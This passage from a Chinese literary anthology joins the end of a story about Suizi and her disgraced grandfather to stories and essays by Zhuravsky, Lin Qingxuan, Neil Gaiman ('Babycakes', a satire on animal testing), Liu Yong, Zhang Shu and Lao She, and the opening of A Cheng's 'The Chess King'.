　　汉子说：“还是老八路公道。”

　　外公说：“谁是老八路？我是老红军。”

　　汉子说：“是是是，老红军。”

　　“红军那阵子，拔老乡一个萝卜，也要在那坑里搁两分钱，掏老乡的鸡窝，掏到一个蛋，搁五分钱。我掏老乡鸡窝的时候，你大还‘虫虫虫虫飞’哩！”

　　汉子眼神变得水牛一样老实。

　　“拔多大一个萝卜你晓得？狗鸡根儿那么大。也是群众一针一线，也不能白拿。”

　　汉子给外公教育得十分服帖。

　　外公手指着屋内的女孩说：“她们拔掉两千根竹子，一根竹算它四块，那就是毛一万块钱。想叫她们爹妈赔钱那是做梦。所以我来跟你表个态度，你就关着她们吧。我代表她们爹妈表这个态度，你想关她们多久，就关她们多久，我们一点意见都没有。”

　　女孩子中有人叫了一句：“什么老红军？老土匪！……”

　　外公没听见，或者听不听见他都无所谓。他接着说：“不然你把她们交还给我们，我们还是一样，还是关。关在你这里，你放心，我们也省心。”

　　汉子认为这个挂满勋章的老人十分诚恳，也十分公允。但他忽然想起一个问题。他说：“她们一天吃三餐，家长给我多少饭钱跟粮票呢？”

　　外公说：“坐大牢是大牢管饭。”

　　汉子说：“我哪有饭给她们吃？”

　　外公说：“再怎样她们也不犯饿饭罪，饭你总要给她们吃的。”

　　汉子一听，脸上黝黑的愁容成了通红的了。他说：“我家伢一人也是一张嘴，接起来比这根裤带还长！”他颠颠手上的牛皮带。“也要我喂！我没粮给她们吃！”

　　外公道：“那你什么意思？饿死她们？”

　　汉子马上掏出钥匙，开了锁，一面说：“我有米还不如喂几只鸡呢，还下蛋！”他驱瘟一样驱走十来个女孩。他晃着皮带：“再给我逮住，我抽脱你的皮！”

　　外公一声不响地领着女孩们往竹林外面走。大家知道外公不想麻烦自己，替人家教育孩子。他要把她们交给各家家长，按各家家规，该怎样算账就怎么算账。这正是女孩们最害怕的一点；事情一经别的家长转达，就变得更糟。她们开始甜言蜜语，说外公你真威风，戴那么多勋章天下无敌了！

　　外公没听见似的，一颠一颠往前走，走两步，往竹丛里一踢，出脚毒而短促。对他的奇怪动作，满腹心事的女孩们都顾不上深究。她们眼中的外公显得悠闲，因而他头颈的摆动看上去是种得意。

　　年长女孩说：“外公你要罚我们站，我们天天到你家后院来站，好吧？”她用力拽一把穗子，让她也服个软，好让老头不向学校和各家家长告状。但穗子不作声。每次穗子惹了事都变得十分坚贞。她若从吊在天花板的篮子里偷零嘴，被外公捉住她是绝不讨饶的。她不认错，外公就讲出那句最狠的话来：“我管不了你，我马上送你回你父母那里。”这话一讲出来，祖孙两人都伤心伤得木讷，会沉默许多天。穗子知道外公很快会讲出此话来伤她心了。她目光变得冰冷，暗暗地想，这回我要先发制人。一想到采取主动来伤害外公和自己，穗子的眼泪上来了。她看着外公走在最前面，双手背着，摇头晃脑；她要抢先讲这句绝情话，老人却是毫无防备。

　　所有女孩都说任外公罚：罚站、罚跪、罚搬煤饼，随便，外公的背也会笑的，外公的背影在笑她们徒劳，笑她们这群马屁精早知今日、何必当初。

　　外公快要走出两里多长的竹林小径了。他停下来，仍背着双手，说：“笨蛋，做什么都要有窍门。偷竹笋，都像你们这样猪八戒，活该给人逮住、关班房。”外公打一个军事指挥手势，要她们沿小径走回去，捡他刚才踢断的笋。他说出偷竹笋的秘诀。竹笋在地下根连根，拔一棵笋，会牵动整个竹园，摇摆和声响能传到几里路以外，这就是她们遭了汉子埋伏的道理；他远远地顺着竹子的响动就摸过来了，但竹笋又比什么东西都脆嫩；一踢，它起根部折断，却闷声不响断在笋壳里，你只需再走一趟，沿途一根根拾那些折断的笋子就行。万一碰到人，谁也逮不到你的赃，一眼看上去，谁看得出你那么阴，不动声色把笋全毁在一层层的笋壳深部？

　　女孩们按外公说的，照原路走回去。走了半里路，拾的竹笋她们书包已盛不下了。她们对外公的景仰，顿时从抽象转化为具体。原来外公是个精锐老贼，红军里原来什么高明人物都有。

　　穗子这时站在女孩们的群落之外。她见外公的目光在白色浓眉下朝她眨动一下。那是居功邀赏的目光，意思是，怎么样？我配做你外公吧？

　　就在穗子采来的竹笋经过腌制和晾晒，成了每天餐桌上一只主菜时，那个抄家头头完成了对外公的调查。他一直有更重大的事情去忙，抽不出身来处置外公这桩事。这天他突然有一个消闲的下午，便带领一群手下跑来了。他们不进门，黑鸦鸦站在门口。头头大声宣布有关穗子外公历史的重大疑点。根据他的调查，穗子的外公曾给李月扬做过副官，在一场围剿红军的战斗中负伤，从此加入红军。但那场战斗中，红军的伤亡也很大，因此穗子外公便是一个手上沾满红军鲜血的白匪。头头没等穗子和外公反应过来，便一步上前，拉开抽屉，拎出那张别满勋章的绿毡子，他一手高举着绿毡子，对逐渐围上来的邻居说：“大家看一看——这里面没有一个是真正的功勋章，充其量是来路不明的我军的纪念章。所以他所谓的‘战功’，是第一大谎言！其余的谎言更荒谬；这两个，是德国纳粹军人的奖章！”

　　外公说：“你奶奶的，你才谎言！哪个不是老子打仗打来的？”

　　头头说：“打仗，要看打什么仗。……”

　　外公拍拍桌子：“日你奶奶，你说是什么仗？收复东三省是谎？打过鸭绿江是你奶奶的谎？……”

　　头头不理外公，晃着手上的绿毡子，大声说：“今天，我们揭开了一个伪装成‘老英雄’的敌人，一个老白匪！”

　　邻居中有人搬了把椅子，头头便一脚站上去。所有金属徽章在他手里响成一片。他的手势非常舞台化，指在外公头上说：“这个老匪兵，欠了革命的血债，还招摇撞骗，伪装成英雄，多少年来，骗取我们的信任和尊敬。”

　　外公的白眉毛一根根竖起，头不屈地摇颤，他忽然看见不远处谁家做煤球做了一半，大半盆和了水与黄泥的稀煤搁在廊沿下。人们只见一道乌黑弧光，从人群外划向那头头，外公的矫健和头头的泰然都十分精彩，人群“呕”地哄起来。头头不理会自己已成了一个人形煤球，手指仍然指住外公：“大家记住这个老白匪，不要让他继续行骗。”

　　头头的几个手下把外公捺住。外公声音已完全嘶哑，他说：“我的‘残废证’是假的？！我身上鬼子留的枪伤，是假的？日你二爷！”

　　邻居们打来水让头头洗浑身的煤。他们大声地招呼着他，一下子跟他自家人起来。人们把外公推进屋里。外公说：“你们找黄副省长打听打听，有没有我这个部下！”

　　邻居中一人说：“黄副省长死了七八年了。”

　　他们把外公拦在门内。随便外公说什么，他们唯一的反应就是相互对视一眼。他们要外公明白，人之间的关系不一定从陌生进展为熟识，从熟识向陌生，同样是正常进展。这段经历在穗子多年后来看，就像一个怪异的梦，所有人都在那天成了生人。这天之后，有的保姆哄孩子时说：“再哭那个老白匪来了。”那天之后的一个午睡时分，嗡嗡叫的苍蝇引来一个换麦芽糖的。穗子拿了牙膏皮出去交易，见她曾经熟识的女孩们为一大把徽章在同贩子扯皮，贩子说那两个德国徽章不是铜的，换不了麦芽糖。

　　穗子不清楚外公的残废津贴是不是从那天开始停发的。她在那个夏天给父母写了信，说她非常想他们，还说那次伤母亲的心，她一直为此不安。穗子在这个暑假跟父母的通信中，一个字都不提外公。但父母还是知道了外公的特殊食品供应已中断了。

　　穗子父母决定领走女儿。他们跟穗子私下里长谈了几次，要穗子深明大义，父母对于孩子的权力至高无上。他们说长期以来他们被迫跟女儿骨肉分离，穗子和他们一样，感情上的损失很大。现在是弥补这些损失的时候了。母亲说：“我们太软弱了，让自己孩子给一个不相干的老头做伴。而且是历史不清不白的一个不相干老头！”

　　听到“不相干”，穗子两眼混乱地看着母亲。

　　母亲说：“外婆不在了，老头就跟我们什么关系也没了，明白吗？”她的两只手掌把穗子的右手夹在中间，手掌上有几颗微突的老茧。

　　穗子爸说：“我们女儿跟我们一样，心是最软的，就是跟我们没关系的一个老头，她也不肯欺负他。穗子，爸爸最了解你了，对不对？”

　　长谈进行到天黑。穗子爸和穗子妈跟穗子咬耳朵：“去换换衣服，悄悄出来，外公要问，就说出去跟小朋友玩。爸妈带你出去吃好的。”

　　穗子跟在父母后面，进了一家小馆子，里面卖发面煎包和骨头汤。汤上面的葱花沾一层灰褐色油污。穗子喝着喝着，突然停下来，从大碗的沿上瞟一眼母亲，见她正跟父亲递眼色，眼色里有一个奇怪的笑意。穗子顿时验证了自己的感觉，父母一直在盯她，在挑她毛病。她每喝一口汤，张嘴发出“哈”的一声，两人就飞快一对视，意思是，看见了吧？她一举一止都带着那老头的毛病；她喝汤张嘴哈气的恶习难道不是跟老头一模一样？再看她那双手，捧着碗底，活活就是一双农夫的手。这样的手将来怎么去琴棋书画？在食物面前，这张脸还算得上矜持，而表情却全在她目光里，目光急不可待，不仅对自己盘内的东西有着过分的胃口，对别人盘中和嘴里的东西，格外是食欲中烧。在父母眼里，穗子的目光向小食店各个桌扑去，抢夺各个盘子里的食物，那目光分泌着充足的涎水，生猛地咬食和咀嚼，一口未完成又咬一口，来不及吞咽就开始下一轮咀嚼，上气不接下气，噎得直痉挛也不在乎。母亲终于忍不住了，说：“穗子，别人吃东西你不要去看。”

　　父亲解围地说：“小孩子嘛。”

　　“小孩子也不都这样，”母亲抢白，“我最不喜欢眼睛特别馋的孩子。老头把零嘴吊在天花板上，她的馋都是那样给逗出来的。”

　　穗子把从各桌收回的目光落定在油荤极重的桌上。正如这里的食品都有股木头味，这里的桌子全是肉味。五六只苍蝇在桌面上挪着碎步，进进，退退，搓搓手。母亲边说话边舞动指尖，连她赶苍蝇的动作都透着某种教化。她跟父亲说：“老头叫穗子说她自己‘我是个小猪八戒’，他才肯拿零嘴给她！”

　　穗子说：“我没有！”

　　母亲却看不见她陡然通红的脸。她说：“怎么没有？我亲眼看见的！我看见老头站在板凳上，手从竹篮里构出个核桃，说：‘你自己说你是不是个小猪八戒？’……”

　　穗子大声说：“不是核桃！”

　　“那是什么？”

　　“我已经好几年没吃过核桃了！”

　　“好了，你嗓子轻一点。”母亲说着，迅速看一眼昏暗的小食店。“是不是核桃，无关紧要。反正老头就这么叫你自己说自己是个小猪八戒。”

　　“从来没有说过！”穗子说，嗓音仍轻不下去。

　　“你听她的嗓门！”穗子妈对穗子爸说。她又转脸来对女儿说：“我明明看见了。外公不是说：‘叫一声好外公’，就是说：‘以后还淘不淘气呀？’你说‘不淘了’，他才给你一口吃的。”

　　穗子瞪着母亲。她感觉眼泪痒而热，在眼底爬动。

　　母亲说：“这有什么？妈妈不是批评你，是说老头儿不该这样对你。你又不是小猫小狗，给点吃的就玩把戏。”

　　“可是我没说！”穗子哽咽起来。

　　“我明明听到的。小孩子不要动不动就耍赖！”

　　穗子想到她半岁时挨了母亲那两脚。她此刻完全能理解母亲，她也认为自己非常讨厌，就欠踢。穗子猛烈地抽泣。

　　母亲说：“不是穗子自己想说，是老头儿教你说的，对吧？”

　　“……嗯。”

　　母亲拿出香喷喷的手帕，手很重、动作很嫌弃地为穗子擦泪。穗子脸蛋上的皮肉不断给扯老远，再弹回。外公的确不及母亲、父亲高雅，这认识让穗子心碎。外公用体温为她焐被窝，外公背着她去上学，不时往路面上吐口唾沫，这些理亏的实情都让穗子痛心，为外公失去穗子的合理性而痛心。就在这个时候，母亲明确告诉穗子，外公是一个外人。

　　当然，母亲最具说服力的理由是外公的历史疑案以及伪功勋章。母亲也掌握了穗子与朋友们偷盗竹笋的风波，她不再嫌弃女儿，而是对女儿恶心了。当母亲把后两者摆在父亲和穗子面前，作为结论性证据时，穗子哑口无言。

　　她答应了父母的要求。这要求很简单，就是亲口对外公说：“外公，我想去和爸妈一块生活。”但穗子妈和穗子爸没料到，穗子临场叛变。下面的一个星期里，无论父母给她怎样的眼风，怎么以耳语催促她，她都装傻，顽固地沉默。

　　外公这天傍晚摘下后院的丝瓜，又掏出咸蛋，剪下几截咸鱼，放在米饭上蒸。这样的晚餐在一九六九年夏天是丰盛的。穗子妈在餐桌下一再踢穗子的脚，穗子的脚一躲再躲。外公却开口了。外公说：“你们夫妻俩的心思我有数，我知道你们良心喂了狗，不过我都原谅。现在哪里的人不把良心去喂狗？不去喂狗，良心也随屎拉出去了。”

　　穗子爸、妈脸红一阵、白一阵。

　　外公把咸蛋黄拣到穗子碗里，自己吃咸蛋白，穗子妈说：“光吃蛋黄，还得了？”

　　外公说：“那是她福分。你要想吃，我还没得给你吃呢。穗子，你吃，跟外公有一日福享，就享。明个你走了，一个蛋就是没蛋白，净蛋黄，外公吃了，有什么口味？”

　　当时穗子没什么钱。她一月薪水用不到月底，零嘴也戒掉了。她只在信封里夹了两张十元票。不多久，听母亲说，外公故去了。老人没有一个亲人，他的亲属栏只填了一个人名字，当然是穗子。

一只背袋

米洛斯拉夫 · 茹拉夫斯

　　我妻子说：男人从亚当夏娃时代就和女人住在一起。奇怪的是男人对女人的了解并不比那时的亚当多多少。到了今天，男人看女人，还像是初次见到，甚至连最简单的东西，比如女人的眼泪都不懂。我童年时经历过这样一件事，至今难以忘怀。

　　那是第一次世界大战期间，父亲上前线去了，母亲独自一人带着我和妹妹，住在里沃夫城外的一个小村子里。

　　当时，我和妹妹还小，记不清父亲的模样了，只从照片上见过。不过，母亲总是给我们讲起父亲。

　　于是，我们也经常缠着妈妈要爸爸。妈妈总是哄我们说，爸爸快回来啦，因为眼看着仗就要打完了。然而，战争总是结束不了。后来，妈妈终于对我们说了实话：父亲还在意大利前线作战。

　　我们的妈妈向来坚强，我从未见过她流眼泪。晚上，妈妈一封一封地给前线的父亲写信。父亲的信也时时从前线寄到家，灰色的信封，信封上盖着式样各异的邮件检查机关和战地邮局的邮戳。每当接到爸爸的来信，妈妈总是一边看，一边随口讲给我和妹妹听。

　　有一次听妈妈说，爸爸负伤住进了野战医院，伤好后再不能回前线打仗，调到了军需机关。这样，爸爸很快就有希望回趟家，还一定会给我们背回一袋好吃的东西。

　　我和妹妹猜想，那袋子里装的一定是大块大块美味的腌肉。在当时，那可是我们最高的奢望。于是，每个晚上睡觉前，我们都盼着父亲背着满满一袋子又香又酥的腌肉回来。

　　爸爸终于回来了，他把身上的被袋往墙角一放，就过来拥抱我们，袋子比我们想象的还满。我们缠住爸爸不放，和他在一起的快乐无穷无尽。爸爸浑身上下都是烟草味和酒味，他把我和妹妹抱在膝上，没完没了地逗我们，还让我们玩他胸前佩戴的十字勋章和各式立功奖章，用他好久没刮过的硬胡茬扎我们的脸蛋。爸爸高兴得什么都忘了。

　　墙角那只又大又满的被袋吸引着我们的注意——里面装着神奇诱人的美味，最好吃的当然是那腌肉。想着想着，我们的口水就禁不住往下流。

　　我和妹妹没有睡着，妈妈进屋时，我俩假装睡熟了，一动不动地躺着，眯缝着眼偷偷往外瞧。妈妈站住了，盯着那个袋子，好像她也终于忍不住了，弯下腰，吃力地搬起被袋——被袋装得太多了——把东西全倒在桌子上。

　　看着眼前的景象，我和妹妹惊呆了，失望，委屈，又感到害怕：桌子上全是信，用绳子捆好的一沓沓蓝色、白色、灰色、红色的信封。这些信我们太熟悉了，因为它们是在战争年月里，妈妈写给爸爸的全部家信，而且是数不清的晚上，妈妈写完后交给我和妹妹投到邮筒里的。信，信，从这个大被袋里倒出来的全是信，摞满了整整一个桌子，还不断往下掉。

　　此时此刻，从来没有流过泪的妈妈，第一次在我们面前哭了。起初，她小声地抽泣，泪水顺着面颊往下流。她用双手捂住眼睛，泪水又顺着指缝往下流。妈妈摇头想止住，但是没用，她最终控制不住自己，放声大哭起来。

　　爸爸进来了，看到妈妈对着那个空背袋哭成这个样子，他似乎明白了一切，妈妈没有在那里面找到她盼望的腌猪肉。

　　爸爸心里也难过起来。妈妈就这样一直哭着，始终不让爸爸挨近她。

平凡最难

林清玄

　　与几位演员在一起，谈到演戏的心得。

　　有一位说："我喜欢演冲突性强的人物，生命有高低潮的。"另一位说："怪不得你演流氓演得好，演教师就不像样了。"

　　还有一位说："每次演悲剧就感觉自己能完全投入，演得真是悲惨，可是演喜剧就进不去，喜剧的表演真是比悲剧难呀！"另外一位这样答腔："那是由于在本质上，人生是个悲剧，真实的痛苦很多，真实的快乐却很少。"

　　大家七嘴八舌的讲自己对演出与人生的看法，却得到了两个根本的结论，一是不管电影、电视或舞台，演流氓、妓女、失败者、邪恶者、落拓者总是容易一些，也可以演得传神，那是因为大家对坏的形象有一种共同的认知；可是对善良的、乐观的人生却没有共同的标准。二是全世界最难演出的人，就是那些平顺着过日子，没有什么冲突的人，像教师、公务员、小职员、家庭主妇，因为他们的一生仿佛一开始就是那个样子，结束也就是那个样子了。

　　一个演员感慨地说："平凡是最难演的呀！"

　　我们如果把这句话稍做转换，可以变成是："平凡是最难的呀！"或者说"安于平凡是最难的呀！"尤其是当一个人可以选择轰轰烈烈的过日子时，他却选择了平凡；当一个人只要动念就可能获名求利满足欲望时，他却选择了平凡；当一个人位高权尊力能扛鼎时，他毅然选择了平凡。

　　最难得的是，一个人在多么不平凡的情况下，还有平凡之心，知道如何走进平凡人的世界，知道这世界原是平凡者所构成，自己的不平凡是多数人安于平凡所造成的结果。

　　平凡者，就是平顺、安常、知足，平凡人的一生就是平安知足的一生。一个社会格局的开创固然需要很多不凡人物的创造，但一个社会能否持久安定维持文化的尊严与品格，则需要许多平凡人的默默奉献与牺牲。

　　每个人青年时代的立志，多是要做顶天立地的大丈夫，要做叱咤风云的大人物，可是到了后来才发现，其实自己也不过是社会里平凡的一分子，没有变个能成为真正的大英雄大豪杰。但我们从更大的角度看，那些自命为大人物者，何尝不也是宇宙的一粒沙尘呢？

　　这并不是说我们不要立大志，而是当我们往大的志向走去时，不管成功或失败，都要知道"平凡最难"！

　　平凡不只是演员在戏台上最难扮演，在实际人生里也是最难的一种演出。

婴儿蛋糕

尼尔 · 盖曼

　　几年前所有的动物都消失了。一天早上我们醒来，它们就那么不见了。它们也没留个条子，或是说声再见。我们一直没弄明白它们跑哪儿去了。

　　我们想念它们。

　　我们中的一些人认为，这就是世界末日了。但实际上并非如此。只不过是没有动物了而已。没有了猫或是兔子，也没有了狗或是巨鲸，海里没有了鱼，空中也没有了鸟儿。

　　只剩下我们。

　　我们不知道该怎么办。

　　在一段时间里，我们不知所措。之后有人指出，仅仅是动物不见了，我们没有理由要改变自己的生活——没有理由改变我们的饮食习惯，也没有理由停止产品危害测试。

　　毕竟，还有婴儿呢。

　　婴儿不会说话。它们几乎不能动弹。婴儿算不上是理性的、有思想的生物。

　　我们能生孩子。

　　然后我们可以使用它们。

　　它们中的一些可作食用。婴儿肉鲜嫩多汁。

　　我们剥了它们的皮，用来作服装饰物。婴儿皮柔软舒适。

　　它们中的一些用来做实验。

　　我们撑开它们的眼睛，把清涤剂或是洗发水滴进去，一次一滴。

　　我们割伤它们，烫伤它们。我们烧。我们夹住它们，把电极插进它们的大脑。我们做活体移植，冷冻实验，辐射测试。

　　婴儿们吸进化学烟雾，它们的血管里流淌着各种药剂，直到它们停止呼吸，或是血液停止流动为止。

　　这很困难，当然。但这是必须的。

　　没人能否认这一点。

　　但没有了动物，我们还能怎么办？

　　当然有些人抱怨。不过不管怎么样，他们总是会抱怨的。

　　一切都回归了正常。

　　只是……

　　昨天，所有的婴儿都消失了。

　　我们不知道它们到哪儿去了。我们甚至没看见它们的消失。

　　我们不知道，没有了婴儿我们该怎么办。

　　但是我们会想出些主意的。人类是聪明的。这正是我们能够凌驾于动物和婴儿的原因。

　　我们会想出些主意的。

　　当然有些人抱怨。不过不管怎么样，他们总是会抱怨的。

如果你没有了我

刘墉

　　恋爱中的男女常会说：“如果我没有了你……”

　　当他们结婚，有了孩子，那句话可能成为：“如果家没有了我……”

　　再过几十年，孩子都大了，老伴也老了，死亡已经成为眼前事，那句话或将是：“如果你没有了我……”

　　血气方刚的时候，追求的是另一半，要的常是对方的全部。那爱是炙热燃烧的火，以最大的愿望，企盼对方跟自己一起燃烧；那是一对一的，百分之百对百分之百的；那是纯的，容不得一粒沙子的掺入，容不得第三者的干预；那是神圣的，因为它是爱、崇高的爱、不现实的爱。

　　但是当我们有了下一代，爱的烈焰，就变成文文的炭火。没有熏人的黑烟、没有炙人的火苗，夫妻成为守炭火的人，适时地拨一拨，适时地添些炭，适时地把自己投掷下去，只为了火要维持——只为了我们的孩子正在旁边，安详地睡着。

　　然后，孩子自己有了家。夜色中远远望去，他们一家，正围着红红的炭火，相互倚靠着。剩下老两口前面的火，却默默地暗淡：

　　“我累了，不能再跟你一块添火，当我走后，你要好好过！如果孩子好，可以过去围他们的那堆火；如果孩子不好，跟你借炭，你可要慎重，还是留些温暖给自己……”

　　我想，每个曾经恋爱、曾经养育以及走向老年的人，都可能有这样的感触。

　　这就是爱的三种境界。

无人看管的面包圈

张抒

　　这是一个关于面包圈的真实故事。20 世纪 80 年代，美国有一个名叫保罗．费德曼的农业经济学家，他曾经领导一个研究所为美国海军分析武器开支。这个研究所的收入来源于各种各样的研究合同。每拿到一个研究合同时，费德曼总会买点儿面包圈分给大家，当做一种奖励。

　　后来费德曼渐渐养成了习惯，每到星期五都会在办公室里放一筐面包圈，让大家随便吃。办公楼里其他单位的员工知道了，有事没事也都过来拿几个面包圈。筐很快就见底了。费德曼只好下回多买些，最多的时候一周拿来 100 多个面包圈。

　　这样下去费德曼自己觉得很不划算。为了收回买面包圈的成本，他在面包筐旁放了一个空的用来装钱的篮子，上面标有建议价格。结果这个没人看守的收款篮收回了 95％的面包钱。费德曼感到很高兴，认为自己验证了人们都能够通过道德自律。至于没有收回的 5％，他相信只不过是有些人一时疏忽才没有付钱。

　　后来，费德曼决定辞掉研究所的领导职务，专门卖面包圈。费德曼开着车围着华盛顿的那些办公楼打转，用很简单的方式招揽生意：一大早，他将面包圈和一个用来装现金的篮子放在不同公司的食品问，等到午餐时再回来取钱和剩下的面包圈。

　　他的经济学家朋友都认为他疯了，因为根据“经济人”的说法，人们肯定会把面包圈统统偷走，他会赔得倾家荡产。可是费德曼自己却很有信心，按照自己的方法做了下去。出乎朋友们意料的是，尽管费德曼收回的钱没有在研究所里的多，可是也能达到 87％的比例。几年后，费德曼每周将 8400 个面包圈送到 140 家公司。他赚的钱和原来当研究分析师时一样多。

　　卖面包圈的同时费德曼也不忘自己的经济学家本行，他把自己的生意当做一种经济学实验，详细地记录下每一份数据。费德曼发现。通过测算实际收入和售出面包圈应收款的差额，他可以很好地考查顾客的诚实度。他们会偷面包圈吗?是什么因素决定了有些人白拿、有些人付钱、有些公司的人比别的公司的人诚实？

　　数据表明，小公司的人要比大公司的人诚实。一个只有几十个员工的小公司付钱率通常比几百人的大公司高上 3 到 5 个百分点。这有些出乎费德曼的意料，因为他觉得越大的公司就会有越多的人围拢在面包篮子旁，也就有更多的目击者促使你把钱扔进钱箱。然而事实却不是这样。在较小的团体里，你如果做了一件不起眼儿的小事．马上就会尽人皆知，所以反而促使你谨言慎行。而在一个大公司里，即使你拿了面包圈不给钱，谁又知道你是谁呢?这个道理也可以套用到社会上。农村的犯罪率要远远低于城市，这在很大程度上，是因为在农村犯罪会更容易让乡里乡亲的邻居全都知道，这就是环境对人们的道德所造成的影响。

　　基于观察，费德曼还认为土气是一个非常重要的因素。一个热爱工作、喜欢老板的员工会更诚实。至于在一个公司内部，费德曼则相信级别越高的人发生白吃现象的越多。

　　他曾经长期向一家分散在 3 个楼层的公司送面包。其中位于顶层的是管理层，楼下两层是销售、服务和行政的雇员。楼下收到的钱明显比楼上多。费德曼猜想，因为这些管理层的人员具有过分的控制欲，所以容易发生不诚实的行为。不过有人刻薄地说，也许不诚实正是这些人挤进管理层的原因。

　　数据同时反映出个人的心情也会影响诚实度。比如说天气就是一个主要因素。好天气能让人们付个好价钱。坏天气，比如刮风下雨时，人们则大肆白拿。

　　最有趣的则是节日也会影响人们付钱，有些节日让人变坏，有些节日则让人学好。圣诞节那一周付款百分比下降了 2％，感恩节也不好，情人节那周也不怎么样。好的节日包括了 7 月 4 日(美国独立 F1)、劳动节、哥伦布日。“9．11”恐怖袭击事件发生日时，人们表现得也相当不错。这些节日或纪念日之间的不同之处在哪里呢?费德曼发现，偷窃较少的节日是那些令人产生荣誉感的日子。偷窃较多的节目则是那些充满了焦虑和对所爱的人满怀期待的日子。

　　影响人们诚实有环境方面的因素，也有情绪方面的因素，但是让费德曼最为兴奋的不是他发现了人们为什么不诚实，而是在利益诱惑之下人仍然能够保持诚实。是的，有些人从他那儿偷面包，但绝大多数人即使在没有其他人在场时，或者阴天下雨、圣诞节的时候也没有白吃。

　　古希腊哲学家苏格拉底的学生格劳康曾经描述过这样一个故事：有一个正直纯朴的牧羊人在地洞里获得了一枚巨人的戒指，从此具有了隐身的能力。在没有人能够监视的情况下，原本诚实的牧羊人偷窃了珠宝，引诱了王后，杀死了国王。故事提出了一个道德问题：是否任何人都能抵挡邪恶的诱惑，尤其是当他知道这些行为并不会为人所发觉的时候？

　　费德曼找到了答案，人们可以做到诚实。至少在面包圈问题上，他有 87％的把握。

文艺与木匠

老舍

　　一位木匠的态度，据我看：一，要作个好木匠；二，虽然自己已成为好木匠，可是绝不轻看皮匠、鞋匠、泥水匠，和一切的匠。

　　此态度适用于木匠，也适用于文艺写家。我想，一位写家既已成为写家，就该不管怎么苦，工作怎样繁重，还要继续努力，以期成为好的写家，更好的写家，最好的写家。同时，他须认清：一个写家既不能兼作木匠、瓦匠，他便该承认五行八作的地位与价值，不该把自己视为至高无上，而把别人踩在脚底下。

　　我有三个小孩。除非他们自己愿意，而且极肯努力，作文艺写家，我决不鼓励他们；因为我看他们作木匠、瓦匠、或作写家，是同样有意义的，没有高低贵贱之别。

　　假若我的一个小孩决定作木匠去，除了劝告他要成为一个好木匠之外，我大概不会絮絮叨叨的再多讲什么，因为我自己并不会木工，无须多说废话。

　　假若他决定去作文艺写家，我的话必然的要多了一些，因为我自己知道一点此中甘苦。

　　第一，我要问他：你有了什么准备？假若他回答不出，我便善意的，虽然未必正确的，向他建议：你先要把中文写通顺了。所谓通顺者，即字字妥当，句句清楚。假若你还不能作到通顺，请你先去练习文字吧，不要开口文艺，闭口文艺。文字写通顺了，你要“至少”学会一种外国语，给自己多添上一双眼睛。这样，中文能写通顺，外国书能念，你还须去生活。我看，你到三十岁左右再写东西，绝不算晚。

　　第二，我要问他：你是不是以为作家高贵，木匠卑贱，所以才舍木工而取文艺呢？假若你存着这个心思，我就要毫不客气的说：你的头脑还是科举时代的，根本要不得！况且，去学木工手艺，即使不能成为第一流的木匠，也还可以成为一个平常的木匠，即使不能有所创造，还能不失规矩的仿制；即使供献不多，也还不至于糟踏东西。至于文艺呢，假若你弄不好的话，你便糟践不知多少纸笔，多少时间——你自己的，印刷人的，和读者的；罪莫大焉！你看我，已经写作了快二十年，可有什么成绩？我只感到愧悔，没有给人盖成过一间小屋，作成过一张茶几，而只是浪费了多少纸笔，谁也不曾得到我一点好处？高贵吗？啊，世上还有高贵的废物吗？

　　第三，就要问他：你是不是以为作写家比作别的更轻而易举呢？比如说，作木匠，须学好几年的徒，出师以后，即使技艺出众，也还不过是默默无闻的匠人；治文艺呢，你可以用一首诗，一篇小说，而成名呢？我告诉你，你这是有意取巧，避重就轻。你要知道，你心中若没有什么东西，而轻巧的以一诗一文成了名，名适足以害了你！名使你狂傲，狂傲即近于自弃。名使你轻浮、虚伪。文艺不是轻而易举的东西，你若想借它的光得点虚名，它会极厉害的报复，使你不但挨不近它的身，而且会把你一脚踢倒在尘土上！得了虚名，而丢失了自己，最不上算。

　　第四，我要问他：你若干文艺，是不是要干一辈子呢？假若你只干一年半载，得点虚名便闪躲开，借着虚名去另谋高就，你便根本是骗子！我宁愿你死了，也不忍看你作骗子！你须认定：干文艺并不比作木匠高贵，可是比作木匠还更艰苦。在文艺里找慈心美人，你算是看错了地方！

　　第五，我要告诉他：你别以为我干这一行，所以你也必须来个“家传”。世上有用的事多得很，你有择取的自由。我并不轻看文艺，正如同我不轻看木匠。我可是也不过于重视文艺，因为只有文艺而没有木匠也成不了世界。我不后悔干了这些年的笔墨生涯，而只恨我没能成为好的写家。作官教书都可以辞职，我可不能向文艺递辞呈，因为除了写作，我不会干别的；已到中年，又极难另学会些别的。这是我的痛苦，我希望你别再来一回。不过，你一定非作写家不可呢，你便须按着前面的话去准备，我也不便绝对不同意，你有你的自由。你可得认真的去准备啊！

　　载一九四二年八月十六日《时事新报》

棋王

阿城

第一章

　　车站是乱得不能再乱，成千上万的人都在说话。谁也不去注意那条临时挂起来的大红布标语。这标语大约挂了不少次，字纸都折得有些坏。喇叭里放着一首又一首的语录歌儿，唱得大家心更慌。

　　我的几个朋友，都已被我送走插队，现在轮到我了，竟没有人来送。父母生前颇有些污点，运动一开始即被打翻死去。家具上都有机关的铝牌编号，于是统统收走，倒也名正言顺。我虽孤身一人，却算不得独子，不在留城政策之内。我野狼似的转悠一年多，终于还是决定要走。此去的地方按月有二十几元工资，我便很向往，争了要去，居然就批准了。因为所去之地与别国相邻，斗争之中除了阶级，尚有国际，出身孬一些，组织上不太放心。我争得这个信任和权利，欢喜是不用说的，更重要的是，每月二十几元，一个人如何用得完？只是没人来送，就有些不耐烦，于是先钻进车厢，想找个地方坐下，任凭站台上千万人话别。

　　车厢里靠站台一面的窗子已经挤满各校的知青，都探出身去说笑哭泣。另一面的窗子朝南，冬日的阳光斜射进来，冷清清地照在北边儿众多的屁股上。两边儿行李架上塞满了东西。我走动着找我的座位号，却发现还有一个精瘦的学生孤坐着，手拢在袖管儿里，隔窗望着车站南边儿的空车皮。

